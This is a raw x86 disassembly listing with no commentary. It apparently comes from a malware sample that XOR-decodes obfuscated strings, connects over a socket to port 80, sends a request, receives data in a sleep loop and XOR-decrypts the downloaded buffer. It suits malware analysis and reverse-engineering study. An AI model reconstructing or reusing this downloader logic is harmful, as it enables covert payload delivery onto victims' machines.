xor al, 0xe6
mov byte [0x1013a1cf], al
mov al, byte [0x1013a1c5]
xor al, 0xa6
mov byte [0x1013a1d0], al
mov al, byte [0x1013a1c6]
xor al, 0xb6
mov byte [0x1013a1d1], al
mov al, byte [0x1013a1c7]
xor al, 0xe0
mov byte [0x1013a1d3], al
mov al, byte [0x1013a1c8]
xor al, 0xc8
mov byte [0x1013a1d4], al
mov al, byte [0x1013a105]
xor al, 0xe4
mov byte [0x1013a10e], al
mov al, byte [0x1013a106]
xor al, 0xa4
mov byte [0x1013a10f], al
mov al, byte [0x1013a107]
xor al, 0xcc
mov byte [0x1013a110], al
mov al, byte [0x1013a108]
xor al, 0xa5
mov byte [0x1013a112], al
mov al, byte [0x1013a109]
xor al, 0xca
mov byte [0x1013a113], al
mov al, byte [0x1013a10a]
xor al, 0x91
mov byte [str.dZL], al
mov al, byte [str.CfM]
xor al, 0x2f
mov byte [0x1013a116], al
mov al, byte [0x1013a10c]
xor al, 0xa
mov byte [0x1013a117], al
mov al, byte [0x1013a10d]
xor al, 0x4d
mov byte [0x1013a118], al
mov al, byte [0x1013a1ef]
xor al, 0xf0
mov byte [0x1013a1f7], al
mov al, byte [0x1013a1f0]
xor al, 0xef
mov byte [0x1013a1f8], al
mov al, byte [0x1013a1f1]
xor al, 6
mov byte [0x1013a1f9], al
mov al, byte [0x1013a1f2]
xor al, 0x35
mov byte [0x1013a1fa], al
mov al, byte [0x1013a1f3]
xor al, 0x32
mov byte [0x1013a1fb], al
mov al, byte [0x1013a1f4]
xor al, 0xed
mov byte [0x1013a1fc], al
mov al, byte [0x1013a1f5]
xor al, 0xfa
mov byte [0x1013a1fd], al
mov al, byte [0x1013a1f6]
xor al, 0xec
mov byte [0x1013a1fe], al
mov al, byte [0x1013a183]
xor al, 0xc5
mov byte [0x1013a18d], al
mov al, byte [0x1013a184]
xor al, 0xfb
mov byte [0x1013a18e], al
mov al, byte [0x1013a185]
xor al, 0xde
mov byte [0x1013a18f], al
mov al, byte [0x1013a186]
xor al, 0x34
mov byte [0x1013a190], al
mov al, byte [0x1013a187]
xor al, 0xa6
mov byte [0x1013a192], al
mov al, byte [0x1013a188]
xor al, 0x29
mov byte [0x1013a193], al
mov al, byte [0x1013a189]
xor al, 0x89
mov byte [0x1013a194], al
mov al, byte [0x1013a18a]
xor al, 0x83
mov byte [0x1013a195], al
mov al, byte [0x1013a18b]
xor al, 0xf
mov byte [0x1013a196], al
mov al, byte [0x1013a18c]
xor al, 6
mov byte [0x1013a197], al
mov al, byte [0x1013a215]
xor al, 0xe1
mov byte [0x1013a21f], al
mov al, byte [0x1013a216]
xor al, 0x40
mov byte [0x1013a220], al
mov al, byte [0x1013a217]
xor al, 0x65
mov byte [0x1013a221], al
mov al, byte [0x1013a218]
xor al, 0xa9
mov byte [0x1013a222], al
mov al, byte [0x1013a219]
xor al, 0xc3
mov byte [0x1013a223], al
mov al, byte [0x1013a21a]
xor al, 0x65
mov byte [0x1013a225], al
mov al, byte [0x1013a21b]
xor al, 0x6f
mov byte [0x1013a226], al
mov al, byte [0x1013a21c]
xor al, 0x97
mov byte [0x1013a228], al
mov al, byte [0x1013a21d]
xor al, 6
mov byte [0x1013a229], al
mov al, byte [0x1013a21e]
xor al, 0x70
mov byte [0x1013a22a], al
mov al, byte [0x1013a20b]
xor al, 0xa3
mov byte [0x1013a210], al
mov al, byte [0x1013a20c]
xor al, 0x2a
mov byte [0x1013a211], al
mov al, byte [0x1013a20d]
xor al, 0xc4
mov byte [0x1013a212], al
mov al, byte [0x1013a20e]
xor al, 0x49
mov byte [0x1013a213], al
mov al, byte [0x1013a20f]
xor al, 0xe8
mov byte [0x1013a214], al
jmp 0x100b2d14
mov edi, dword [esi + 0xac]
mov ebx, dword [esi + 0xa8]
sub esp, 8
mov eax, esp
mov dword [eax + 4], 0x24
mov dword [eax], 0x20
call fcn.10089760
mov ecx, dword [esi + 0xa4]
mov edx, dword [esi + 0xb0]
add esp, 8
mov eax, dword [0x1013a194]
mov dword [ecx + 7], eax
movsd xmm0, qword [0x1013a18d]
movsd qword [ecx], xmm0
mov eax, dword [0x1013a13d]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x17c]
movsd xmm0, qword [0x1013a135]
movsd qword [ebx], xmm0
mov bx, word [0x1013a152]
mov word [edi + 8], bx
movsd xmm0, qword [0x1013a14a]
movsd qword [edi], xmm0
mov di, word [0x1013a12a]
mov word [edx + 8], di
movsd xmm0, qword [0x1013a122]
movsd qword [edx], xmm0
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov edx, dword [esi + 0xb4]
mov ecx, dword [esi + 0xa8]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x17c]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov edx, dword [esi + 0xb8]
mov ecx, dword [esi + 0xac]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x17c]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov edx, dword [esi + 0xbc]
mov ecx, dword [esi + 0xb0]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x17c]
mov dword [edx], edi
mov edx, dword [eax]
xor edi, edi
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.100909a0
mov ecx, dword [esi + 0xc0]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0xc4]
mov dword [ecx], edx
mov ecx, dword [0x1013a1f7]
mov dword [eax], ecx
mov ecx, dword [0x1013a1fb]
mov dword [eax + 4], ecx
sub esp, 4
mov dword [esp], eax
call fcn.100a3180
add esp, 4
jmp 0x100b39ac
mov ecx, dword [esi + 0x9c]
mov edi, dword [esi + 0xc8]
mov dword [edi], 5
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101041c0
mov edx, dword [esi + 0x9c]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0xcc]
add ecx, 1
mov ebx, dword [edi]
sub ecx, ebx
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, edx
add ecx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10104250
add esp, 0xc
jmp 0x100b3be3
jmp 0x100b3daf
jmp 0x100b3ee6
jmp 0x100b4155
jmp 0x100b426a
mov ecx, dword [esi + 0xd8]
mov edx, dword [esi + 0xe4]
mov eax, dword [esi + 0xbc]
mov edi, dword [esi + 0xe0]
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0xd8]
mov eax, dword [esi + 0xc0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov ecx, dword [esi + 0xe8]
mov edx, eax
mov eax, dword [esi + 0x184]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov eax, dword [eax]
mov dword [eax], ecx
jmp 0x100b440a
mov edi, dword [esi + 0x120]
mov ebx, dword [esi + 0x11c]
mov edx, dword [esi + 0x100]
mov eax, dword [esi + 0xec]
mov ecx, dword [0x1013a1ba]
mov dword [eax + 3], ecx
mov ecx, dword [0x1013a1b7]
mov dword [eax], ecx
mov ecx, dword [esi + 0xf0]
mov eax, dword [esi + 0xf4]
movsd xmm0, qword [0x1013a1dd]
movsd qword [ecx], xmm0
mov cl, byte [0x1013a1ee]
mov byte [eax + 4], cl
mov ecx, dword [0x1013a1ea]
mov dword [eax], ecx
mov ecx, dword [esi + 0xf8]
mov al, byte [0x1013a214]
mov byte [ecx + 4], al
mov eax, dword [0x1013a210]
mov dword [ecx], eax
mov eax, dword [esi + 0xfc]
mov ecx, dword [0x1013a1d1]
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0xec]
movsd xmm0, qword [0x1013a1c9]
movsd qword [eax], xmm0
mov ax, word [0x1013a209]
mov word [edx + 4], ax
mov eax, dword [0x1013a205]
mov dword [edx], eax
mov eax, dword [esi + 0x17c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov ecx, dword [esi + 0xf0]
mov edx, dword [esi + 0x104]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x17c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov ecx, dword [esi + 0xf4]
mov edx, dword [esi + 0x108]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x17c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov edx, dword [esi + 0x10c]
mov ecx, dword [esi + 0xf8]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x17c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov edx, dword [esi + 0x110]
mov ecx, dword [esi + 0xfc]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x17c]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov ecx, dword [esi + 0x114]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x17c]
mov dword [ecx], edx
mov edx, dword [eax]
xor ecx, ecx
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0x100]
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.100909a0
mov edx, dword [esi + 0x184]
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0x118]
mov dword [eax], ecx
mov ecx, dword [esi + 0x124]
mov dword [ebx], 0x1000
mov dword [edi], 0
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [ecx + 4], edx
mov word [ecx], 2
sub esp, 4
mov dword [esp], 0x50
call dword [eax]
mov ecx, dword [esi + 0x124]
mov edx, eax
mov eax, dword [esi + 0x104]
mov word [ecx + 2], dx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 1
mov dword [esp + 8], 0
call dword [eax]
mov edx, dword [esi + 0x128]
mov ecx, dword [esi + 0x124]
mov edi, eax
mov eax, dword [esi + 0x108]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0x120]
mov dword [eax], ecx
jmp 0x100b4615
jmp 0x100b498e
jmp 0x100b4cab
mov edi, dword [esi + 0x128]
sub esp, 4
mov dword [esp], 0x104
call fcn.100e3321
mov edx, dword [esi + 0x130]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x12c]
mov dword [eax], ecx
mov ecx, dword [0x1013a21f]
mov dword [edx], ecx
mov ecx, dword [0x1013a223]
mov dword [edx + 4], ecx
mov ecx, dword [0x1013a227]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10104030
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0x9c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0xa0]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0x98]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
add esp, 8
mov eax, dword [esi + 0x12c]
mov ecx, dword [eax]
lea eax, [0x1012f496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov edx, dword [esi + 0x12c]
mov ecx, dword [esi + 0x10c]
add esp, 8
mov eax, dword [esi + 0x134]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi + 4], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101041c0
mov edx, dword [esi + 0x134]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 4]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, eax
mov eax, dword [esi + 0x120]
mov dword [eax], ecx
jmp 0x100b4e47
jmp 0x100b511d
jmp 0x100b5360
jmp 0x100b55e9
jmp 0x100b56f6
mov eax, dword [esi + 0x138]
mov ecx, dword [esi + 0x128]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0x13c]
mov ecx, dword [esi + 0x138]
mov edi, eax
mov eax, dword [esi + 0x150]
mov dword [edx], edi
mov edx, dword [0x1013a101]
mov dword [eax], edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100a9310
add esp, 8
mov ecx, eax
mov eax, dword [esi + 0x154]
mov dword [eax], ecx
jmp 0x100b587e
jmp 0x100b5a91
jmp 0x100b5bb3
jmp 0x100b5e34
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 6
mov dword [esp + 8], 0x24
call fcn.100495a0
add esp, 0xc
jmp 0x100b5f4f
mov ecx, dword [esi + 0x90]
mov eax, dword [esi + 0x138]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.1008fda0
mov ecx, dword [esi + 0x148]
mov edx, dword [esi + 0x90]
add esp, 0xc
mov eax, dword [esi + 0x138]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.1008fda0
add esp, 0xc
mov eax, dword [esi + 0x90]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100e3321
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x94]
mov eax, dword [eax]
mov dword [eax], ecx
sub esp, 8
mov dword [esp], 0x2a
mov dword [esp + 4], 0x10
call fcn.1008b5d0
add esp, 8
jmp 0x100b6125
jmp 0x100b6389
jmp 0x100b6534
jmp 0x100b66f5
jmp 0x100b6819
jmp 0x100b6a39
mov eax, dword [esi + 0x14c]
mov dword [eax], 0
jmp 0x100b6b67
mov eax, dword [esi + 0x14c]
mov ecx, dword [esi + 0x138]
mov edx, dword [esi + 0x158]
mov edi, dword [esi + 0x148]
mov ebx, dword [eax]
movzx edi, byte [edi + ebx]
mov edx, dword [edx]
movsx ebx, byte [ecx + edx]
xor ebx, edi
mov byte [ecx + edx], bl
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
jmp 0x100b6d28
jmp 0x100b6f25
jmp 0x100b7275
jmp 0x100b77cb
jmp 0x100b7afb
mov eax, dword [0x10146e70]
jmp 0x100b7c41
mov ecx, dword [esi + 0xe0]
mov edx, dword [esi + 0xdc]
mov edi, dword [esi + 0x9c]
mov eax, dword [esi + 0xb8]
mov eax, dword [eax]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
mov ecx, eax
mov eax, dword [esi + 0xd4]
mov dword [eax], ecx
jmp 0x100b7d4d
mov ecx, dword [esi + 0xd8]
mov edx, dword [esi + 0xe4]
mov eax, dword [esi + 0xbc]
mov edi, dword [esi + 0xe0]
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0xd8]
mov eax, dword [esi + 0xc0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov ecx, dword [esi + 0xe8]
mov edx, eax
mov eax, dword [esi + 0x184]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov eax, dword [eax]
mov dword [eax], ecx
jmp 0x100b7ead
jmp 0x100b8045
mov ecx, dword [esi + 0x124]
mov edx, dword [esi + 0x128]
mov eax, dword [esi + 0x108]
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0x120]
mov dword [eax], ecx
sub esp, 4
mov dword [esp], 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100b8169
mov edi, dword [esi + 0x128]
sub esp, 4
mov dword [esp], 0x104
call fcn.100e3321
mov edx, dword [esi + 0x130]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x12c]
mov dword [eax], ecx
mov ecx, dword [0x1013a21f]
mov dword [edx], ecx
mov ecx, dword [0x1013a223]
mov dword [edx + 4], ecx
mov ecx, dword [0x1013a227]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10104030
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0x9c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0xa0]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov ecx, dword [esi + 0x12c]
add esp, 8
mov eax, dword [esi + 0x98]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
add esp, 8
mov eax, dword [esi + 0x12c]
mov ecx, dword [eax]
lea eax, [0x1012f496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10104040
mov edx, dword [esi + 0x12c]
mov ecx, dword [esi + 0x10c]
add esp, 8
mov eax, dword [esi + 0x134]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101041c0
mov edx, dword [esi + 0x134]
add esp, 4
mov ecx, eax
mov eax, dword [esi]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, eax
mov eax, dword [esi + 0x120]
mov dword [eax], ecx
jmp 0x100b82d6
mov eax, dword [esi + 0x8c]
mov dword [eax], 0
jmp 0x100b853b
mov edi, dword [esi + 0x13c]
mov eax, dword [esi + 0x138]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.100e6cf0
mov edx, dword [esi + 0x140]
mov ecx, dword [esi + 0x144]
mov eax, dword [esi + 0x14c]
add esp, 0xc
mov dword [edi], 0
mov dword [edx], 0
mov dword [ecx], 1
mov dword [eax], 0
jmp 0x100b8662
mov ecx, dword [esi + 0x90]
mov eax, dword [esi + 0x138]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.1008fda0
mov ecx, dword [esi + 0x148]
mov edx, dword [esi + 0x90]
add esp, 0xc
mov eax, dword [esi + 0x138]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.1008fda0
add esp, 0xc
mov eax, dword [esi + 0x90]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100e3321
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x94]
mov eax, dword [eax]
mov dword [eax], ecx
sub esp, 8
mov dword [esp], 0x2a
mov dword [esp + 4], 0x10
call fcn.1008b5d0
add esp, 8
jmp 0x100b88ad
jmp 0x100b8a77
mov eax, dword [esi + 0x14c]
mov ecx, dword [esi + 0x138]
mov edx, dword [esi + 0x158]
mov edi, dword [esi + 0x148]
mov ebx, dword [eax]
movzx edi, byte [edi + ebx]
mov edx, dword [edx]
movsx ebx, byte [ecx + edx]
xor ebx, edi
mov byte [ecx + edx], bl
mov ecx, dword [eax]
add ecx, 1
mov dword [eax], ecx
jmp 0x100b8b8a
mov eax, dword [esi + 0x128]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [esi + 0x90]
mov ecx, dword [esi + 0x94]
mov eax, dword [esi + 0x8c]
mov edx, dword [edx]
mov edx, dword [edx]
mov edi, dword [edx]
sub edi, 0x2c
mov dword [edx], edi
mov edx, dword [ecx]
mov edx, dword [edx]
add edx, 0x2c
mov ecx, dword [ecx]
mov dword [ecx], edx
mov dword [eax], 1
jmp 0x100b8f57